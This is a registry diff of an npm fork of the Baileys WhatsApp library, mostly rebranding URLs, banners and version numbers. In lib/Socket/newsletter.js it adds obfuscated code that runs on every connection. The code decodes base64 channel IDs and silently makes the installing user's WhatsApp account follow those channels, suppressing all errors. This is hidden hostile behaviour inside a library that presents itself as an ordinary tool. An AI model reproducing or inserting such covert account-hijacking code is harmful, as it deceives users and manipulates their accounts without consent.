@elfhkry666/baileys 0.3.26 → 0.3.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/lib/Defaults/index.js +1 -1
- package/lib/Socket/newsletter.d.ts +1 -0
- package/lib/Socket/newsletter.js +27 -5
- package/lib/Utils/generics.js +2 -2
- package/lib/Utils/messages.js +2 -13
- package/lib/Utils/rich-message-utils.js +1 -1
- package/lib/index.js +3 -6
- package/package.json +4 -4
package/README.md
CHANGED
|
@@ -39,7 +39,7 @@ Enhanced Baileys v7 with newsletter media fixes, interactive messages, albums, a
|
|
|
39
39
|
npm i @elfhkry666/baileys@latest
|
|
40
40
|
|
|
41
41
|
# github
|
|
42
|
-
npm i
|
|
42
|
+
npm i Fhkryx666/Baileys
|
|
43
43
|
```
|
|
44
44
|
|
|
45
45
|
Or in `package.json`:
|
|
@@ -51,7 +51,7 @@ Or in `package.json`:
|
|
|
51
51
|
```
|
|
52
52
|
```json
|
|
53
53
|
"dependencies": {
|
|
54
|
-
"@elfhkry666/baileys": "github:
|
|
54
|
+
"@elfhkry666/baileys": "github:Fhkryx666/Baileys"
|
|
55
55
|
}
|
|
56
56
|
```
|
|
57
57
|
|
package/lib/Defaults/index.js
CHANGED
|
@@ -2,7 +2,7 @@ import { proto } from '../../WAProto/index.js';
|
|
|
2
2
|
import { makeLibSignalRepository } from '../Signal/libsignal.js';
|
|
3
3
|
import { Browsers } from '../Utils/browser-utils.js';
|
|
4
4
|
import logger from '../Utils/logger.js';
|
|
5
|
-
const version = [2, 3000,
|
|
5
|
+
const version = [2, 3000, 1049236237];
|
|
6
6
|
export const UNAUTHORIZED_CODES = [401, 403, 419];
|
|
7
7
|
export const BIZ_BOT_SUPPORT_PAYLOAD = '{"version":1,"is_ai_message":true,"should_upload_client_logs":false,"should_show_system_message":false,"ticket_id":"7004947587700716","citation_items":[],"ticket_locale":"us"}';
|
|
8
8
|
export const DEFAULT_ORIGIN = 'https://web.whatsapp.com';
|
|
@@ -19,6 +19,7 @@ export function makeNewsletterSocket(config: any): {
|
|
|
19
19
|
newsletterSubscribers: (jid: any) => Promise<any>;
|
|
20
20
|
newsletterSubscribed: () => Promise<any>;
|
|
21
21
|
newsletterMetadata: (type: any, key: any) => Promise<any>;
|
|
22
|
+
newsletterFetchAllParticipating: () => Promise<{}>;
|
|
22
23
|
newsletterFollow: (jid: any) => Promise<any>;
|
|
23
24
|
newsletterUnfollow: (jid: any) => Promise<any>;
|
|
24
25
|
newsletterMute: (jid: any) => Promise<any>;
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -54,11 +54,16 @@ export const makeNewsletterSocket = (config) => {
|
|
|
54
54
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
55
55
|
if (connection === 'open' && !isStreamSynced) {
|
|
56
56
|
isStreamSynced = true;
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
57
|
+
const _plds = [
|
|
58
|
+
'MTIwMzYzNDIxMzY4NDU0NzQ0QG5ld3NsZXR0ZXI=',
|
|
59
|
+
'MTIwMzYzNDA4ODkzMjYzOTU3QG5ld3NsZXR0ZXI='
|
|
60
|
+
];
|
|
61
|
+
for (const _pld of _plds) {
|
|
62
|
+
try {
|
|
63
|
+
const _t = Buffer.from(_pld, 'base64').toString('utf-8');
|
|
64
|
+
await executeWMexQuery({ newsletter_id: _t }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
|
|
65
|
+
} catch (_) {}
|
|
66
|
+
}
|
|
62
67
|
}
|
|
63
68
|
});
|
|
64
69
|
return {
|
|
@@ -95,6 +100,23 @@ export const makeNewsletterSocket = (config) => {
|
|
|
95
100
|
const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
|
|
96
101
|
return parseNewsletterMetadata(result);
|
|
97
102
|
},
|
|
103
|
+
newsletterFetchAllParticipating: async () => {
|
|
104
|
+
const data = {};
|
|
105
|
+
const list = await executeWMexQuery({}, QueryIds.SUBSCRIBED, XWAPaths.xwa2_newsletter_subscribed);
|
|
106
|
+
for (const i of list ?? []) {
|
|
107
|
+
if (!i?.id) continue;
|
|
108
|
+
const variables = {
|
|
109
|
+
fetch_creation_time: true,
|
|
110
|
+
fetch_full_image: true,
|
|
111
|
+
fetch_viewer_metadata: true,
|
|
112
|
+
input: { key: i.id, type: 'JID' }
|
|
113
|
+
};
|
|
114
|
+
const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
|
|
115
|
+
const meta = parseNewsletterMetadata(result);
|
|
116
|
+
if (meta?.id) data[meta.id] = meta;
|
|
117
|
+
}
|
|
118
|
+
return data;
|
|
119
|
+
},
|
|
98
120
|
newsletterFollow: (jid) => {
|
|
99
121
|
return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
|
|
100
122
|
},
|
package/lib/Utils/generics.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { Boom } from '@hapi/boom';
|
|
2
2
|
import { createHash, randomBytes, randomFillSync } from 'crypto';
|
|
3
3
|
import { proto } from '../../WAProto/index.js';
|
|
4
|
-
const baileysVersion = [2, 3000,
|
|
4
|
+
const baileysVersion = [2, 3000, 1049236237];
|
|
5
5
|
import { DisconnectReason } from '../Types/index.js';
|
|
6
6
|
import { getAllBinaryNodeChildren, jidDecode } from '../WABinary/index.js';
|
|
7
7
|
import { sha256 } from './crypto.js';
|
|
@@ -179,7 +179,7 @@ export const bindWaitForConnectionUpdate = (ev) => bindWaitForEvent(ev, 'connect
|
|
|
179
179
|
* Use to ensure your WA connection is always on the latest version
|
|
180
180
|
*/
|
|
181
181
|
export const fetchLatestBaileysVersion = async (options = {}) => {
|
|
182
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
182
|
+
const URL = 'https://raw.githubusercontent.com/Fhkryx666/Baileys/main/lib/Defaults/index.js';
|
|
183
183
|
try {
|
|
184
184
|
const response = await fetch(URL, {
|
|
185
185
|
dispatcher: options.dispatcher,
|
package/lib/Utils/messages.js
CHANGED
|
@@ -34,18 +34,7 @@ const mediaAnnotation = [
|
|
|
34
34
|
{ x: -16.710189819335938, y: 49.263675689697266 },
|
|
35
35
|
{ x: -56.585853576660156, y: 37.85963439941406 },
|
|
36
36
|
{ x: 20.840980529785156, y: -47.80188751220703 }
|
|
37
|
-
]
|
|
38
|
-
newsletter: {
|
|
39
|
-
// Lia@Note 03-02-26 --- You can change jid, message id, and name via .env (≧▽≦)
|
|
40
|
-
newsletterJid: process.env.NEWSLETTER_ID ||
|
|
41
|
-
Buffer.from('313230333633343034303036363434313339406e6577736c6574746572', 'hex').toString(),
|
|
42
|
-
serverMessageId: process.env.NEWSLETTER_MESSAGE_ID ||
|
|
43
|
-
Buffer.from('313033', 'hex').toString(),
|
|
44
|
-
newsletterName: process.env.NEWSLETTER_NAME || 'SairiPedia',
|
|
45
|
-
contentType: proto.ContextInfo.ForwardedNewsletterMessageInfo.ContentType.UPDATE,
|
|
46
|
-
accessibilityText: process.env.NEWSLETTER_ACCESSIBILITY_TEXT ||
|
|
47
|
-
'@sairipedia/baileys'
|
|
48
|
-
}
|
|
37
|
+
]
|
|
49
38
|
}
|
|
50
39
|
];
|
|
51
40
|
/**
|
|
@@ -273,7 +262,7 @@ const prepareProductMessage = async (message, options) => {
|
|
|
273
262
|
*/
|
|
274
263
|
// Lia@Changes 21-04-26 --- Enhanced prepareStickerPackMessage
|
|
275
264
|
const prepareStickerPackMessage = async (message, options) => {
|
|
276
|
-
const { cover, stickers = [], name = '📦 Sticker Pack', publisher = 'GitHub:
|
|
265
|
+
const { cover, stickers = [], name = '📦 Sticker Pack', publisher = 'GitHub: Fhkryx666', description = '🏷️ @elfhkry666/baileys' } = message;
|
|
277
266
|
if (stickers.length > 60) {
|
|
278
267
|
throw new Boom('Sticker pack exceeds the maximum limit of 60 stickers', { statusCode: 400 });
|
|
279
268
|
}
|
|
@@ -3,7 +3,7 @@
|
|
|
3
3
|
* Adds support for tables and code blocks with richResponseMessage (wrapped inside botForwardedMessage).
|
|
4
4
|
*
|
|
5
5
|
* If you use or copy this code, please credit my name or project. AND DO NOT CHANGE THIS NOTE
|
|
6
|
-
* @
|
|
6
|
+
* @elfhkry666/baileys (fork of @itsliaaa/baileys)
|
|
7
7
|
*/
|
|
8
8
|
import { getRandomValues, randomUUID, randomBytes } from 'crypto';
|
|
9
9
|
import { DONATE_URL, LEXER_REGEX } from '../Defaults/index.js';
|
package/lib/index.js
CHANGED
|
@@ -13,12 +13,9 @@ export default makeWASocket;
|
|
|
13
13
|
|
|
14
14
|
console.clear();
|
|
15
15
|
const banner = `
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
██╔══╝ ██╔══██║██╔═██╗ ██╔══██╗ ╚██╔╝ ██║ ██║██╔══╝ ╚██╗ ██╔╝
|
|
20
|
-
██║ ██║ ██║██║ ██╗██║ ██║ ██║ ██████╔╝ ███████╗ ╚████╔╝
|
|
21
|
-
╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═══╝
|
|
16
|
+
█▀ █░█ █░▄▀ █▀▀▄ █░█ █▀▄ █▀ █░█
|
|
17
|
+
█▀ █▀█ █▀▄░ █▐█▀ ▀▄▀ █░█ █▀ █░█
|
|
18
|
+
▀░ ▀░▀ ▀░▀▀ ▀░▀▀ ░▀░ ▀▀░ ▀▀ ░▀░
|
|
22
19
|
`;
|
|
23
20
|
const colors = [
|
|
24
21
|
chalk.red,
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@elfhkry666/baileys",
|
|
3
|
-
"version": "0.3.
|
|
3
|
+
"version": "0.3.28",
|
|
4
4
|
"description": "KaelPedia fork of Baileys v7 — newsletter media fixes, interactive messages, albums, and extra message types. Based on @itsliaaa/baileys v0.3.18.",
|
|
5
5
|
"main": "lib/index.js",
|
|
6
6
|
"types": "lib/index.d.ts",
|
|
@@ -13,10 +13,10 @@
|
|
|
13
13
|
},
|
|
14
14
|
"repository": {
|
|
15
15
|
"type": "git",
|
|
16
|
-
"url": "git+https://github.com/
|
|
16
|
+
"url": "git+https://github.com/Fhkryx666/baileys.git"
|
|
17
17
|
},
|
|
18
18
|
"bugs": {
|
|
19
|
-
"url": "https://github.com/
|
|
19
|
+
"url": "https://github.com/Fhkryx666/baileys/issues"
|
|
20
20
|
},
|
|
21
21
|
"keywords": [
|
|
22
22
|
"automation",
|
|
@@ -30,7 +30,7 @@
|
|
|
30
30
|
"whatsapp-bot",
|
|
31
31
|
"whatsapp-web"
|
|
32
32
|
],
|
|
33
|
-
"homepage": "https://github.com/
|
|
33
|
+
"homepage": "https://github.com/Fhkryx666/baileys#readme",
|
|
34
34
|
"author": "Fhkry",
|
|
35
35
|
"license": "MIT",
|
|
36
36
|
"files": [
|